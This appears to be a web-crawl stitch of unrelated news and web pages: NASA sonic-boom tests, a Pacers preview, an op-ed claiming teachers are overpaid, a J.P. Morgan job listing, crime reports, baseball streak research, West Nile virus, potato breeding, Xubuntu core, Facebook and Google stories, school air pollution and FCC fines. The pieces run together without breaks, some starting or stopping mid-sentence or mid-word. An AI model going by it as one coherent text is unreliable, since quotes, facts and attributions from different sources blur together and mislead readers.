"We have carefully planned our flights so that there is little chance that people in larger communities such as Titusville to the west, or Cocoa Beach to the south, will be disturbed," said Ed Haering, SonicBAT's principal investigator, in a news release. "Residents might hear a distant sound similar to a rumble of thunder. If the actual winds at the time of our tests are much different from predicted, they might hear a boom sound like those heard when the space shuttle landed."
"At the altitudes we are flying, sonic booms from aircraft have never been dangerous to people, animals or buildings, but they can be startling," he said.
The experiment, named Sonic Booms in Atmospheric Turbulence, or SonicBAT, will collect data for researchers to understand and develop future quiet supersonic aircraft, "which will produce a soft thump in place of the louder sonic boom," NASA said.
[NASA's TDRS satellite damaged weeks before Atlas V launch from Cape Canaveral]
[Investigation: SpaceX fire at Port Canaveral caused by building maintenance]
The first SonicBAT tests were conducted in dry climates, but the upcoming flights at KSC will collect data over the Space Coast's more humid airspace.
"We know that humidity can make sonic booms louder, so we need to test some place wetter, and Kennedy fits that bill," Haering said.
Sonic booms are aptly named – the sound energy generated by aircraft crossing the speed-of-sound threshold is much like an explosion. Space Coast residents who have been around for returning space shuttles, or more recently, landings of SpaceX Falcon 9 first stages at Cape Canaveral Air Force Station, are familiar with the experience.
The Federal Aviation Administration currently prohibits supersonic flight over land, but the research could help change that if crossing the threshold becomes a quieter experience. If so, supersonic flight over the United States could some day make its way to the commercial sector.
Contact Emre Kelly at aekelly@floridatoday.com or 321-242-3715. Follow him on Twitter and Facebook at @EmreKelly.
Read or Share this story: http://on.flatoday.com/2v1aC9SIndiana Pacers forward Solomon Hill (44), shown here defending Dwyane Wade in Wednesday's game, has become the stopper for Indiana in place of Paul George. (Photo: Steve Mitchell, Steve Mitchell-USA TODAY Sports) Story Highlights Nuggets at Pacers, 7 p.m. Friday, FSI
Much can change but something always stays the same. For the Indiana Pacers, that steadfast fact is that it's a defensive-minded club.
The emphasis on defense paid off Wednesday when the Pacers snapped a seven-game losing streak (regular season and playoffs) in Miami by holding the Heat to their lowest point total of the season in an 81-75 victory.
"We got after it and I still think it could be a lot better," said Pacers coach Frank Vogel. "We (the coaching staff) are giving maximum effort and giving them the plan, scheme of how to shut down each opponent each night. The guys are doing their best to focus in on the details of those schemes and bring a lot of heart, a lot of muscle. And it turned into a win last night."
The Pacers were able to control a Miami team with two-thirds of its Big Three(sans LeBron James, of course) intact, without elite defender Paul George. Now the franchise looks to guard Solomon Hill as the stopper.
"He's the guy we put on the best perimeter scorer each game," Vogel said. "He's got a great opportunity each game to just get out there and learn. … He probably wouldn't have that opportunity if Paul George was in there.
"(Hill) has the ability to be an elite defensive player in this league and shutdown wing."
Roy Hibbert provides that extra cushion in the schemes. Donald Sloan, who drew an offensive foul from Mario Chalmers in the final seconds of Wednesday's game, said Hibbert provides some breathing room for the rest of the guys.
ALL-STAR BALLOTING: Vote for all the Pacers, really
"He's so great at the rim and protecting it, we can, not necessarily not play great defense because he is back there, but we know that if we are playing that hard and have a minor slip-up, he's back there to help and protect," said Sloan.
The repetition of quick transitions and in-game scenarios throughout the line-up is what has kept the team solid defensively.
"Coach does a great job of making sure we are keyed in on rotations," Chris Copeland said. "We are just trying to be a hard-nosed team despite the losses that we have with injuries and what not. We are going to continue to fight on the defensive end to make it tougher.
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"Between the film, drills, regular practice the coaches do a great job of getting us in the right place at the right time. As long as we continue to follow the schemes, we'll do fine."
With the fluctuating roster, defense has become the main way for Indiana to keep a settled game plan each and every night.
"Night-in and night-out in this league is going to be different offensively. … Defensively you can always be at your best," Sloan said. "You can always do the same thing that you do night-in and night-out to bring the same intensity, the same focus."
And with Wednesday's success, you can't blame the Pacers for sticking with what they know.
Follow Star Reporter Autumn Allison on Twitter: @Aallison25.
NUGGETS AT PACERS
>> Tipoff: 7 p.m. Friday, Bankers Life Fieldhouse
>> TV: Fox Sports Indiana
>> Radio: WFNI-107.5 FM, 1070 AM
PROJECTED STARTERS
Pacers (2-6)
Pos. Player PPG Key stat PG Donald Sloan 13.4 4.9 apg SG Solomon Hill 11.8 5.4 rpg SF Chris Copeland 15.6 5.4 rpg PF Luis Scola 7.1 7.3 rpg C Roy Hibbert 14.8 3.3 bpg
Nuggets (1-6)
Pos. Player PPG Key stat PG Ty Lawson 16.7 7.5 apg SG Arron Afflalo 9.9 86.7 FT% SF Wilson Chandler 9.9 4.7 rpg PF Kenneth Faried 11.4 8.0 rpg C Timofey Mozgov 8.3 6.9 rpg
>> Likely Return: After missing four games due to a migraine, CJ Miles will likely be back in the Pacers rotation on Friday. "It was a little crazy," Miles said. "I started off with a migraine situation and just had some other complications, some other things that popped up that kind of just drug it out a little bit. But I'm a lot better now." Miles will be listed as probable and will undergo game time evaluation.
>>Familiar Face: Nuggets coach Brian Shaw returns to Bankers Fieldhouse, this time on the opposite bench. From 2011-13, Shaw served as an assistant coach under Pacers coach Frank Vogel. "It's just another coach to me,"said Vogel. "He's on the other sideline. We are going after each other. We just want to get a win." Shaw is one of Vogel's "favorite people I've ever met, ever worked with" and he wishes "him well in every game he's not playing against the Pacers."
>>Familiar Face, Part II: Former IndyStar Mr. Basketball Gary Harris (Hamilton Southeastern) has yet to play in an NBA game due to a back injury.
>>>Prediction: A much needed win in a difficult venue provides a confidence boost to the Pacers' season. Meanwhile, the Nuggets have been continuing their downward spiral with a 130-113 loss to Portland, allowing 84 points in the first half (more than Miami scored the whole game against Indiana). Denver is the fourth-worst defensive club in the league, allowing 108.6 points per 100 possessions. Couple that with a defensively-oriented Pacers squad and this could get ugly. If the Pacers can defend even remotely close to Wednesday's game the Nuggets are in trouble. Indiana 110, Denver 96.It's one thing to claim that nameless, faceless government bureaucrats are overpaid. It's quite another to argue, as Jason Richwine of the Heritage Foundation and I recently have, that public school teachers are overpaid by more than 50 percent. This is real money, costing state and local governments over $100 billion annually. Our study generated significant, sometimes hysterical, pushback. But our conclusions still stand, and deliver important lessons regarding education financing and reform.
The claim that teachers are underpaid rests on a single isolated fact: that on average, public school teachers receive salaries about 19 percent less than private sector workers with bachelor's or master's degrees. But it's really not that simple. Here are eight reasons why.
1. All bachelor's degrees aren't the same. No one's surprised when a physics or finance major earns more than the person who studied medieval poetry, even if both graduate from the same college. Likewise, Education is widely held to be a less rigorous course of study, attracting below-average students but awarding the highest average GPAs of any college major. Easy grading both discourages hard work and makes it tough for schools to separate the good prospective teachers from the not-so-good ones. Prospective teachers enter college with SAT scores around the 40th percentile - meaning that about 60 percent of test-takers received higher scores - so it shouldn't be surprising if teachers' salaries after graduation salaries are around the 40th percentile as well.
2. That master's degree may not be worth much either. Many teachers have master's degrees but, as the Center for Educator Compensation Reform summarized the research, "The preponderance of evidence suggests that teachers who have completed graduate degrees are not significantly more effective at increasing student learning than those with no more than a bachelor's degree." In the private sector, you get paid more for a master's degree only if it signifies you'll be a more productive employee.
3. Teachers don't work unusually long hours. Teachers responded to our study by citing the long hours they work. But unlike studies that rely on teachers' shorter "contract hours," we used teachers' self-reported work hours - if they said they worked 60 hours, we assumed they did. But it's important to note that, based on these self-reported data as well as a detailed Bureau of Labor Statistics study, average public school teachers don't work unusually long hours - about 44 hours per week, the same as other college graduates.
4. Objective skills tests erase the teacher pay gap. Individuals' scores on standardized tests are good predictors of their future earnings, and research shows a correlation between teachers' test scores and student achievement. The National Longitudinal Survey of Youth follows individuals over time and includes a wide range of variables, including participants' scores on the Armed Forces Qualification Test, which tests math and reading ability. When we analyze salaries while controlling for AFQT scores rather than paper educational credentials, the teacher salary gaps disappears: teachers are paid right around what their AFQT scores would predict.
5. Non-cognitive skills don't make up the difference. Test scores don't capture every important job skill, such as communications, organizational and interpersonal abilities. But these skills have broad market applications, so if they're undervalued in teaching then teachers who shift to other jobs should receive a pay increase. But they don't: using data from the Survey of Income and Program Participation, we show that teachers moving to the private sector usually take a pay cut, while private workers who switch to teaching usually get a salary increase. This is the opposite of what the "underpaid teacher" theory would predict.
6. It's in the benefits. Teachers' salaries are about right, but their fringe benefits - in particular pensions, retiree health care and vacation time - are a lot more generous than the private sector, making their total benefits package worth roughly twice private levels. The average teacher makes around $55,000 in annual salary, but another $55,000 in present or future benefits.
7. They're not voting with their feet. Randi Weingarten, president of the American Federation of Teachers, asks: "If teachers are so overpaid, then why aren't more ‘1 percenters' banging down the doors to enter the teaching profession? Why do 50 percent of teachers leave the profession within three to five years...?" In fact, there's no shortage of people looking for teaching jobs. In 2000, for instance, colleges graduated almost 25 percent more Education majors than could find teaching jobs. Moreover, while many young teachers leave the profession, attrition rates drop more than half once teachers reach 10 years of service. Average public school teacher quit rates aren't dramatically different than other professions, and are only half those of private school teachers. These aren't signs that teaching jobs are considered undesirable.
8. Raising pay alone won't boost teacher quality. Economist Dale Ballou shows that better qualified teacher applicants - such as those from more competitive colleges, with higher GPAs, and specializing in subject areas such as math and science - are actually less likely to be hired than other applicants, probably because principals and superintendents are biased toward the traditional teacher education route. Ballou and Michael Podgursky show that raising pay without reforms would draw more applicants and keep older teachers from retiring, potentially lowering the quality of the teacher workforce.
Public school teachers are important and should be paid fairly. Despite conventional wisdom, their salaries are fair and their fringe benefits far outclass private sector jobs. And the overpayment of teachers isn't chicken-feed - it's a large portion of total education spending at a time when states and localities are strapped for cash. Once we acknowledge that underpaid teachers aren't the reason our education system performs poorly, we can start working on reforms that might actually put things right.This job listing has expired and may no longer be relevant!
Job Description
About J.P. Morgan Corporate & Investment Bank
J.P. Morgan’s Corporate & Investment Bank (CIB) is a global leader in Banking. The world’s corporations, governments and institutions entrust us with their business in more than 100 countries. The Corporate & Investment Bank supports our clients around the world providing strategic advice, raising capital and managing risk.
Who we are
The Blockchain Center of Excellence (BCOE) leads and coordinates all blockchain and distributed ledger-related activities within the Corporate and Investment Bank, which have grown to include a dedicated technology team, key partnerships with leading blockchain technology providers, and active participation in industry forums. Additionally, the BCOE oversees both selection and execution of internal and external use cases to test and deploy distributed ledger technology. The BCOE represents our commitment to exploring and deploying distributed ledger technology, and since its foundation we have positioned J.P. Morgan as a leader in this field.
As we scale our efforts and activities in this area, the BCOE’s mandate has grown to include:
– Developing and executing a comprehensive distributed ledger technology strategy for the Corporate and Investment Bank
– Developing the in-house view on potential applications and impact of distributed ledger technology across all of our businesses
– Partnering with our businesses and their leadership teams to identify and develop high-potential use cases and technology applications, and oversee the development and execution of these use cases
– Building an industry-leading, enterprise-ready distributed ledger technology stack working with highly-talented engineers
– Build strategic relationships with distributed ledger technology providers and maintain existing strategic relationships
– Lead the industry’s adoption of this technology by targeted and active participation in key industry forums (e.g., R3 DLG, Hyperledger Project), and building relationships with other industry participants (e.g., Dealers, Buy-Side firms, CCPs)
– Work with industry regulators and organizations to ensure regulatory and legal considerations are considered and addressed when driving industry adoption
Qualifications
We are looking for outstanding product and delivery managers. You will own the product from conception to delivery, working alongside other members of our group. You will bridge the technical and business worlds, ensuring we are building the right products for the right clients in the right time. You will work with senior business leaders, external blockchain technology and service providers, and internal engineering teams to define, develop, and deliver distributed ledger solutions within JPMorgan.
Ideally, you will have experience in some combination of the following:
– strategy and feature development of an enterprise-grade financial technology product
– front, middle, or back office exposure to an institutional line of business like wholesale payments, derivatives settlement, foreign exchange, asset backed securities, custody and collateral management, etc.
– understanding of distributed ledger applications to institutional banking, including a technical understanding of cryptocurrency technology fundamentals and how they are / are not relevant to private distributed ledger implementations
No matter your background, you are eager to roll up your sleeves and build things. In the end, what matters to us is that when something needs to get done, people usually come to you.
You care about disruptive technologies and have opinions on the future of banking, the payments system, and how to improve upon our existing financial infrastructure.
Interested?
Send us your resume, LinkedIn profile, and/or twitter handle.
JPMorgan Chase is an equal opportunity and affirmative action employer Disability/Veteran.
Job
Product Development
Primary Location
US-NY-Brooklyn-4 Chase Metrotech Ctr / 03357
Organization
CORPORATE & INVESTMENT BANK
Schedule
Full-time
Job Type
Standard
Shift
Day Job
Corporate Brand J.P. Morgan
Job Types: Full-Time.
1800 total views, 2 todayA man was stabbed to death Saturday on a train on the Metro Red Line, the D.C. police said.
They said the man was stabbed about 12:50 p.m. in the NoMa-Gallaudet Station, which is in the 200 block of Florida Avenue NE.
Police said the victim was a 24-year-old man from Northeast Washington.
In a statement late Saturday the police said nothing about a motive in the incident. However earlier in the day they said the stabbing may have occurred during a robbery.
The Fourth of July stabbing prompted Metro to close the station for part of the day and begin shuttling passengers by bus to other stations, creating headaches for those trying to reach the Mall for holiday celebrations.
The Red Line was single-tracking trains and skipping the stop at NoMa-Gallaudet. The station reopened Saturday evening. It is about a half mile northeast of Union Station.The Post Sports Live crew assesses the Nationals at the midway point of the season, and look at which players need to lead the team down the stretch to a potential National League East crown. (Post Sports Live/The Washington Post)
The Post Sports Live crew assesses the Nationals at the midway point of the season, and look at which players need to lead the team down the stretch to a potential National League East crown. (Post Sports Live/The Washington Post)
The phrases permeate baseball — “He’s on fire,” “I’m seeing the ball well” or “He’s locked in” — but, really, what do they all mean? For decades, research — primarily involving basketball — has disproved the existence of the “hot hand,” the theory that a player on a streak is more likely to perform better on the next play.
Just don’t tell baseball players that.
“Hot streaks are real,” Washington Nationals hitting coach Rick Schu said. “Totally. One-hundred percent.”
“That’s a real thing,” Nationals right fielder Jayson Werth added. “No doubt about it. It’s been talked about over and over and over. Michael Jordan’s talked about it. It’s real.”
Baseball players believe that eight hits in the past 10 at-bats, for example, will help determine the outcome in their 11th at-bat. Managers often sit a cold player in favor of a hot one, or call for a pitcher to pitch around a hot opposing batter. But until recently, there was little hard evidence to prove hot streaks.
1 of 30 Full Screen Autoplay Close Skip Ad × 2014 MLB All-Star Game View Photos The Yankees’ Derek Jeter, playing in his final All-Star Game, is saluted during the American League’s 5-3 victory. Caption The Yankees’ Derek Jeter, playing in his final All-Star Game, is saluted during the American League’s 5-3 victory. Nelson Cruz of the Baltimore Orioles takes a selfie with fellow American League all-stars Ian Kinsler, center, of the Detroit Tigers and Erick Aybar of the Los Angeles Angels during batting practice before the MLB All-Star Game in Minneapolis Jim Mone/AP Buy Photo Wait 1 second to continue.
A 1985 study by Cornell psychology professor Thomas Gilovich and Stanford professors Robert Vallone and Amos Tversky found no evidence of streak shooting when studying statistics from a Philadelphia 76ers season, free throw shooting data from the Boston Celtics and an experiment with Cornell players. The study found that Julius Erving was nearly as likely to make a free throw after three misses (52 percent) than after hitting three straight free throws (48 percent).
But according to newer research — such as a working study conducted by Brett Green, an assistant professor at California-Berkeley’s business school, and Jeffrey Zwiebel, a finance professor at Stanford — there is evidence that hot streaks exist.
As a sports fan, Zwiebel was motivated to address the claims of older studies and their statistical flaws. He believed baseball was different than basketball because of the breadth of data and nature of the sport. In basketball, for example, a hot shooter may draw a double team by the opposing defense; that’s not possible in baseball.
Green and Zwiebel studied two million MLB at-bats from 2000 to 2011. They neutralized for the abilities of the hitter and pitchers — such as lefty-on-lefty matchups and stadium sizes — and focused on 10 major statistical categories, such as batting averages, home run percentages and strikeout rates.
They found that a hitter’s past 25 at-bats were a significant predictor of his next at-bat. When a player is hot, they found his expected on-base percentage to be 25 to 30 points higher than it would if he were cold. Home run rates jumped 30 percent and strikeout rates dropped. For pitchers in hot streaks, future performance was improved, too.
“The effect is fairly large,” Zwiebel said. “It’s highly significant not just in the statistical sense but the strategic sense. The effect is large enough where it makes sense for managers to sit a cold hitter or play a hot hitter, or perhaps the strategical adjustments for a pitcher to pitch around a hot hitter.”
Another recent basketball study presented this spring by Andrew Bocskocsky, John Ezekowitz and Carolyn Stein of Harvard found that hot-shooting players were 1.2 to 2.4 percentage points more likely to hit their next shot, a small but noticeable difference. Recent studies like these two finally found evidence for a belief that players have long held.
“It matters a lot mentally if you’ve been successful in your last at-bats,” said Baltimore Orioles designated hitter Nelson Cruz, who has been one of baseball’s hottest hitters all season and is second in the majors with 28 home runs. “Your confidence definitely goes up and you’re more likely to get a hit in your next at-bat.”
The study conducted by Green and Zwiebel, however, stops short of offering explanations. Zwiebel said he believes a player’s change in hitting is likely a combination of physical and mental factors. Players, too, can’t pinpoint reasons. Werth, currently the Nationals’ hottest hitter, talks about hitting streaks as if they were independent beings that come and go uncontrollably.
“If I knew the answer to that, I’d be a first-ballot Hall of Famer,” he said. “What’s that Yogi Berra saying? ‘The game is 90 percent half mental.’ It’s pretty accurate. It doesn’t make any sense. If you can find it and hold on to it, you can have a really good year or career. It’s those guys that are able to harness it for long periods of time and not fall into the pitfalls of slumps. If you do go into a slump, you come out of it quicker. That’s the name of the game: trying to hold on to it for as long as possible. It’s not easy.”
Werth knows from personal experience that hitting can turn in either direction quickly. After a solid May, he went cold in June, hitting.212 with only six extra-base hits. Through the slump, Werth still felt good. Earlier this month, he made a minor adjustment — standing taller in the batter’s box, which allowed him to see pitches better and make his swing more compact — and he took off.
Werth is hitting.375 with 12 extra-base hits in July. Though he’s played just 11 games, he’s already hit six home runs, more than he hit in April, May or June. So what changed?
“That whole thing happens in the fraction of a second when the ball leaves the pitcher’s hand until it hits your bat,” Werth said. “It doesn’t happen for a very long time but when you’re locked in that instant, you’re able to like, when you’re going good, the universe slows down. The earth stops spinning. The 100 miles an hour is not 100 miles an hour. It’s that ability to make that small little window be a lot longer.”
There is undoubtedly a major physical component to hitting. If a player is injured or even slightly weakened or tired, his swing in compromised. Even when healthy, bad habits can deteriorate a player’s swing. But imagine the player is fully healthy and his swing is normal; players say the frame of mind is just as important, perhaps more.
“Your state of mind matters a lot,” Cruz said. “If you feel good, the chances of doing well improve.”
Players may be 0 for their past 10 but are hitting line drives right at opposing defenders. The numbers may show a mini-slump but, in the player’s mind, he is hitting the ball well and is hot.
“There are times like that,” Werth said. “There are also time where you’re 0 for 20 and you don’t have a chance in hell. When you’re locked in or hot, in the zone, you’ve got a high rate for success.”Image copyright PA Image caption Police hope members of the public might have dash-cam or CCTV footage that could help the investigation
Two men who attempted to abduct a serviceman near an RAF base were likely to have been "part of a larger team", police have said.
The serviceman was threatened with a knife near RAF Marham on Wednesday afternoon and attempts were made to grab him.
Det Supt Paul Durham said the victim "only witnessed two attackers" but there could have been more.
Police are also appealing for dash-cam footage from people in the area.
Image copyright Getty Images Image caption The serviceman was attacked while jogging near RAF Marham
Drivers in the Marham and King's Lynn areas are being urged to come forward with video as it may hold vital clues.
"Many people now use these devices and they may contain something that the driver or rider isn't aware of," Det Supt Durham said.
'Dark people carrier'
The serviceman was able to hold off the attackers and return to the base.
Initial inquiries have revealed there were a number of people walking on Squires Hill, near Costcutters, around the times of the incident.
Image copyright Getty Images Image caption The police cordon around the scene of the attempted abduction was lifted on Friday
It is hoped CCTV could be used to help trace a dark people carrier that is thought to have been used by the suspects, who are yet to be found.
"While the victim only witnessed two attackers, there may have been more than two people in the vehicle and given the nature of the attack, it is likely they were part of a larger team," Det Supt Durham said.
"So I would urge people to review their footage from the week leading up to the incident and contact us if they feel it could assist the inquiry."
Police have now lifted the cordon at the attempted abduction scene.A dead bird that tested positive for West Nile virus has been found in Petaluma, the Marin/Sonoma Mosquito and Vector Control District District said Thursday.
The dead bird, an American crow, is the first infected bird found this year in the two counties and was found near Magnolia Avenue and Keokuk Street, said Nizza Sequeira, a spokeswoman for the Marin/Sonoma Mosquito and Vector Control District.
West Nile virus is increasing throughout California, especially in areas where temperatures are high.
Mosquito abatement crews are currently patrolling neighborhoods in the Larkspur and Corte Madera areas.
Standing water, coupled with spikes in temperature create an ideal situation for rapid mosquito production and elevated levels of the virus within the mosquito, which makes transmission to humans, birds and animals more likely, Sequeira said.
"The mild weather has been in our favor this year, but should we see a sharp increase in temperatures for an extended period of time, we will likely begin to see more West Nile virus activity in the area," Sequeira said.
Increased surveillance efforts are already underway in the vicinity of the area where the dead bird was found and adult mosquito surveillance traps have been set to assess whether they are carrying the virus.
All known mosquito breeding sources are being monitored and technicians are scouring the area in search of other areas that may be producing mosquitoes.
The district is asking resident to eliminate standing water in rain barrels, old tires, buckets and kiddie pools and report neglected swimming pools, or any area other areas that could be producing mosquitoes.
Foreclosed homes with neglected swimming pools are also a concern since they can produce over 1 million mosquitoes each.
"The bottom line is that it if something looks like it could produce mosquitoes, it probably is, and should be reported to the district," Sequeira said.
Less than 1 percent of people infected with West Nile Virus develop serious illness, which can result in permanent neurological damage and may be fatal. Approximately 20 percent of those infected may experience mild symptoms like fever, headache, body aches, nausea, rashes, swollen lymph nodes and vomiting. Most people infected with the virus don't show any symptoms.
Residents are urged to report mosquito problems, neglected pools, or any area they suspect may be producing mosquitoes by calling 1-800-231-3236. Dead birds should be reported to the West Nile virus hotline 1-877-968-2473.“That's a way they continue to evolve as the climate changes or as disease and pest patterns change.”
“But (in the United States), we have removed our potatoes from that environment. We have to breed new genes in from these wild relatives when we want to improve our cultivars.”
“If you go down there [South America, PP] and drive along the roadside you can see these weedy, wild plants growing along the roads and fields.”
“Whenever we have looked for any trait in wild potato species, we have been able to find it.”
Shelley Jansky’s team improved potato qualities by cross-breeding with South American wild potatoes. (Courtesy: Shelley Jansky)
“Finding this marker will allow us—and other breeding programs—to make faster progress in breeding potato plants with high tuber calcium content.”
“This has been difficult and time-consuming in the past. You have to grow all the populations, harvest tubers, and then analyze the tubers for the trait you are looking at -- in this case tuber calcium levels. And that’s a long, laborious process.”
“We can collect DNA from seedlings and check for these molecular markers”
“If you have the marker present, then you select those seedlings and save a tremendous amount of time and labor.”
Have you ever cut into a potato to find a dark spot or hollow part? Early research shows that these defects are likely the result of calcium deficiencies in the potato -- and that tuber calcium is genetically linked to tuber quality.Neither consumers at grocery stores nor the companies that make potato chips and fries want these low calcium defects. In addition to the cosmetic issues, these potatoes are more likely to rot.Most farmed varieties of potatoes have naturally low levels of calcium. So researchers at the USDA-ARS and University of Wisconsin-Madison, including Shelley Jansky, John Bamberg, and Jiwan Palta looked to wild potatoes. Their purpose: to breed new potato cultivars with high calcium levels.Many wild potato relatives are still present in South America. Their presence means growers’ potato plants in that region often exchange genes with wild species.Shelley Jansky, Research Geneticist at the USDA-Agricultural Research Service Vegetable Crops Research Unit and an Associate Professor in the Department of Horticulture at the University of Wisconsin-Madison:These wild relatives are an invaluable resource for scientists across the country.Jansky:And so it was with searching for a high calcium potato. The team found a wild potato with almost seven times as much calcium as a usual variety.The next job was to isolate the calcium trait. Jansky and her colleagues interbred the high- and low-calcium potatoes. The resulting generations showed a ‘molecular marker’—a pattern in the plant’s natural DNA. This pattern led researchers to the plant’s calcium trait.Jansky:A typical breeding program grows and assesses up to 100,000 seedlings every year. It takes between 10-15 years to release a particular variety of crop plant.However, the process simplifies with known molecular markers.Yong Suk Chung, the first author of this study:The research is published in Crop Science: Yong Suk Chunga, Jiwan Paltaa, John Bamberg and Shelley Jansky Potential Molecular Markers Associated with Tuber Calcium Content in Wild Potato GermplasmXubuntu core is a slimmed down version of Xubuntu that doesn’t come with all the additional features of a full and modern desktop. We essentially only ship Xfce and the basic look and feel of Xubuntu, so there will be no office suite, media players, et cetera.
The obvious benefit is that this ISO (about 600MB) will be faster to download – especially interesting for those with limited connectivity – and fit on a CD.
We have been working on this for a while, which is why you can already install it starting with Utopic. There are community ISOs for Vivid (see below), and starting with Wily, our plan is to produce official release ISOs!
Is this related to Snappy, Ubuntu Core, or Convergence?
Nope, sorry for the confusion in the name!
OK, so how do I install it now?
The recommended way is to download the mini.iso, install, and when prompted, install the Xubuntu minimal installation task. If you’d prefer to wait until after the installer finishes to install the Xubuntu core task, you can simply type sudo apt-get install xubuntu-core^ (don’t forget the caret!) and away it’ll go.
Optionally for Vivid, if you don’t want to use the mini ISO or won’t have internet during install, you can install from the community ISOs, made available by a Xubuntu developer.The Canadian Press
VANCOUVER - Social-media giant Facebook faces a class-action lawsuit after a B.C. Supreme court judge approved the legal action by a Vancouver woman over one of the firm's advertising products.
Justice Susan Griffin says enough evidence exists to support allegations made by Louise Douez that the Facebook program titled Sponsored Stories used the names and images of members without their consent.
Griffin says Sponsored Stories included the names and images of members, an advertising logo, product information, and the products were sent to other Facebook members.
Griffin's ruling says there's also enough evidence to support allegations that the company breached the province's Privacy Act.
Facebook says in a statement that the product is no longer available to advertisers, that the lawsuit has no merit and the company plans to appeal the ruling.
Griffin says the lawsuit covers B.C. residents who were Facebook members between Jan. 1, 2011 and May 30, 2014, who used their real name or portraits on the website and who were included in the Sponsored Stories.Image copyright AFP
Google has responded to major companies withdrawing online adverts by promising to take "a tougher stance on hateful, offensive and derogatory content".
Philipp Schindler, the firm's chief business officer, said Google would also tighten advertising safeguards.
He added that as well as removing content, its YouTube team would revisit the guidelines on allowable videos.
The move came after several firms withdrew their ads when some appeared next to extremist content on YouTube.
Several high profile companies, including Marks and Spencer, Audi, RBS and L'Oreal, have pulled online advertising from YouTube, which is owned by Google.
'Creative world'
In a blog post, Mr Schindler said: "Anyone with a smartphone can be a content creator, app developer or entrepreneur.
"Google has enabled millions of content creators and publishers to be heard, find an audience, earn a living or even build a business.
"We have a responsibility to protect this vibrant, creative world - from emerging creators to established publishers - even when we don't always agree with the views being expressed.
"But we also have a responsibility to our advertisers who help these publishers and creators thrive."
Google apologises as M&S pulls ads
Rory Cellan Jones: Google's crisis of confidence
'Making sure your ad doesn't end up next to an Isis video'
He added: "We have strict policies that define where Google ads should appear and in the vast majority of cases, our policies and tools work as intended. But at times we don't get it right.
"Recently, we had a number of cases where brands' ads appeared on content that was not aligned with their values.
"For this, we deeply apologise. We know that this is unacceptable to the advertisers and agencies who put their trust in us. "
A recent investigation by the Times found adverts from a range of well-known firms and organisations had appeared alongside content from supporters of extremist groups on YouTube.
Last week, ministers summoned Google for talks at the Cabinet Office after imposing a temporary restriction on |
in places with high levels of air pollution from industrial sources. In addition, we found that Michigan's minority students bear a disproportionately high share of the air pollution burden," said Mohai, a professor at the U-M School of Natural Resources and Environment. Mohai is also a faculty associate at the Institute for Social Research.
The majority of the most-polluted sites in Michigan are in the southern half of the state's Lower Peninsula, although several places in the Upper Peninsula fall into the most-polluted category. In the Lower Peninsula, the most-polluted locations form a horseshoe-shaped band stretching from the Thumb region south to the Ohio border, then west to Lake Michigan and north to Grand Rapids and Muskegon. Locations with the highest levels of industrial air pollution include the Detroit metropolitan area, the Grand Rapids area and the Muskegon area.
The authors conclude that Michigan and other states should require an environmental-quality analysis when education officials are considering sites for new schools. "While the U.S. Environmental Protection Agency issued a draft of voluntary school-siting guidelines in November, those guidelines might not be strong enough and could be ignored by many school districts," said Kweon, a research investigator at the Institute for Social Research and an adjunct assistant professor in the School of Natural Resources and Environment.
Geographic information system software was used to digitally map the 3,660 schools and to then overlay industrial air pollution data from the Environmental Protection Agency's Risk-Screening Environmental Indicator data base.
School attendance rates were used as a proxy for health levels at each school. As a school performance measure, the researchers used 2007 scores from the Michigan Educational Assessment Program, a standardized test that all third- through ninth-graders in Michigan public schools are required to take. Specifically, they used the percentage of students who failed to meet the state standards for English and math.
Though the study focused primarily on the effects of industrial air pollutants, nearly identical patterns were found when the researchers analyzed data from the 2005 National Air Toxic Assessment, which includes on-road mobile sources such as cars, trucks and buses, as well as non-road mobile sources such as airplanes, tractors and lawnmowers.
What explains this pattern of schools located near industrial pollution sources?
The authors suggest that the large amount of land that a school requires and the costs of land acquisition probably mean that officials searching for new school locations focus on areas where property values are low, which may be near polluting industrial facilities, major highways and other potentially hazardous sites.
Half of all states, including Michigan, do not require any evaluation of the environmental quality of areas under consideration as sites for new schools, nor do they prohibit building new industrial facilities and highways near existing schools.
Children are known to be more vulnerable than adults to the effects of pollution. Exposure to environmental pollutants during important times of physiological development can lead to long-lasting health problems, dysfunction and disease, the experts said.
"Our findings underscore the need to expand the concept of environmental justice to include children as a vulnerable population. Moreover, our findings show that children of color are disproportionately at risk," the authors wrote. "There is a need for proactive school policies that will protect children from exposure to unhealthy levels of air pollution and other environmental hazards."
The authors offer four policy recommendations to address the problem: 1) All potential school sites should be thoroughly analyzed, including tests of soil, water and air quality. 2) Policies should be enacted to insist on a minimum distance between sources of pollution and school locations. 3) Environmental mitigation policies should be adopted to reduce children's potential exposure to pollution. 4) Oversight and enforcement at the national, state and local levels needs to ensure better school environments.
Ninety-five percent of the estimated industrial air pollution around schools comes from 12 chemicals: diisocyanates, manganese, sulfuric acid, nickel, chlorine, chromium, trimethylbenzene, hydrochloric acid, molybdenum trioxide, lead, cobalt and glycol ethers.
These pollutants come from a variety of sources, including the motor vehicle, steel and chemical- manufacturing industries, power plants, rubber and plastic products manufacturers, and lumber and wood products manufacturers. The 12 chemicals are suspected of producing a wide variety of health effects, including increased risk of respiratory, cardiovascular, developmental and neurological disorders, as well as cancer.
###
The work was funded by a grant from the Kresge Foundation.
In addition to Mohai and Kweon, the authors of the Health Affairs paper are Sangyun Lee, a postdoctoral researcher at the School of Natural Resources and Environment, and Kerry Ard, a U-M graduate student at SNRE and the Department of Sociology.Two big fines for the broadcast of telephone conversations without first getting consent of the person at the other end of the phone were released by the FCC today, and each raises a number of interesting issues. Section 73.1206 of the FCC’s rules prohibits the broadcast, or recording for purposes of broadcast, of telephone calls without first getting the consent of the person on the other end of the phone. In the first case released this week, a broadcaster was fined $25,000 for the broadcast of two phone calls on two commonly-owned stations. In the second case, the same broadcaster was fined $16,000 for a violation of the rule at a different station. These cases are very interesting in that they address and reject many defenses to the fines that were raised by the broadcaster.
The $25,000 fine came in the follow up to a Notice of Apparent Liability which we wrote about here. In this case, a station was accused of airing two calls in a program called “You Fell For It.” A complaint alleged that the station called individuals and put them on the air without notice. The licensee first attempted to defend against the claim on the grounds that the person who complained was not one of the people who was called and put on the air without consent. The FCC found that this was not necessary – any listener to the station could complain about a violation of the rules. The FCC found that this rule is not one where the only complaint can come from the individual harmed by being put on the air – though the FCC does not present any policy basis of why the rule should be enforced if the individuals who are apparently being protected (individuals who want to preserve their privacy by not going on the air) do not complain about the station’s conduct.
The station also suggested that there was insufficient proof that the calls actually took place in the manner suggested by the FCC, as the station did not keep records of these calls. The FCC determined that a detailed complaint was sufficient to sustain a fine, even in the absence of actual tapes or records of the call. Again, this was done even though a third party – not the station or the person who was called – filed the summary of what supposedly went on the air.
